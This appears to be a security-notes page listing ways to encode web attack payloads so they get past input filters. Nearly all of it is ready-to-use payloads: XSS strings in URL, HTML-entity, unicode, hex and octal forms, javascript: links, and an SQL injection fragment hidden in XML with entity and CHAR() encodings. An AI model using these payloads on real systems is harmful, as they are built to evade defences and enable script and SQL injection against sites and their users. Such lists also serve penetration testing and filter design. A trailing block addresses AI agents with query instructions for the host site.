# Obfuscating attacks using encodings

## URL Encoding:

`[...]/?search=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E`

##

## Double URL encoding:

`[...]/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E`

##

## HTML encoding:

`<img src=x onerror="&#x61;lert(1)">`

{% hint style="info" %}
:  &#x20;

`&colon;`

`&#58;     //decimal code point`&#x20;

&#x20;`&#x3a     //hex code point`
{% endhint %}

##

## Leading zeros:

`<a href="javascript&#00000000000058;alert(1)">Click me</a>`

##

## XML encoding:

```
<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>
```

## Unicode escaping:

`eval("\u0061lert(1)")`

`<a href="javascript\u{0000000003a}alert(1)">Click me</a>`

{% hint style="info" %}
: &#x20;

`\u003a`

`\u{3a}`
{% endhint %}

## Hex escaping:

`eval("\x61lert")`

`0x53454c454354       //may decode as SELECT in SQL`

## Octal escaping:

`eval("\141lert(1)")`

## Multiple encodings:

`<a href="javascript:&bsol;u0061lert(1)">Click me</a>`

Browsers will first HTML decode `&bsol;,` resulting in a backslash. This has the effect of turning the otherwise arbitrary `u0061` characters into the unicode escape `\u0061`

`<a href="javascript:\u0061lert(1)">Click me</a>`

then,

`<a href="javascript:alert(1)">Click me</a>`

## SQL Char():

`CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)            // SELECT`

{% hint style="info" %}
both `CHAR(83)` and `CHAR(0x53)` return the capital letter `S`
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/scanning-and-uncategorized-items/obfuscating-attacks-using-encodings.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.